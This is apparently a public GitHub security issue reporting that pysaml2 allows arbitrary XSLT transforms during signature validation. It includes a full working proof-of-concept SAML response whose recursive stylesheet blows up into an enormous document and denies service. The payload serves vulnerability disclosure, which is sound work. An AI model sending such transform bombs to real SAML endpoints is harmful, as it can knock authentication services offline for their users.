DoS via XSLT transform

[ericchiang]

I opened a private issue but haven't heard back in a over month so I'm now opening a public issue.

https://github.com/IdentityPython/pysaml2/security/advisories/GHSA-6qg6-h5xq-x84c

pysaml2 uses libxmlsec1 to validate signatures. Unfortunately, it doesn't allow list the set of transforms that occur during canonicalization. A document without a valid signature an no authentication can specify an arbitrary XSLT transform.

Here's an example transform bomb that produces an arbitrarily large document during signature validation:

<samlp:Response>
  <ds:Signature>
    <ds:SignedInfo>
      <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
      <ds:Reference URI="#x">
        <ds:Transforms>
          <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
            <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
              <xsl:template match="/"><out>
                <xsl:call-template name="d"><xsl:with-param name="n" select="27"/></xsl:call-template>
              </out></xsl:template>
              <xsl:template name="d"><xsl:param name="n"/><xsl:choose>
                <xsl:when test="$n &gt; 0">
                  <xsl:call-template name="d"><xsl:with-param name="n" select="$n - 1"/></xsl:call-template>
                  <xsl:call-template name="d"><xsl:with-param name="n" select="$n - 1"/></xsl:call-template>
                </xsl:when><xsl:otherwise><x/></xsl:otherwise>
              </xsl:choose></xsl:template>
            </xsl:stylesheet>
          </ds:Transform>
          <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        </ds:Transforms>
        <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
        <ds:DigestValue>INVALID</ds:DigestValue>
      </ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>INVALID</ds:SignatureValue>
  </ds:Signature>
  <Target ID="x"><a>hello</a></Target>
</samlp:Response>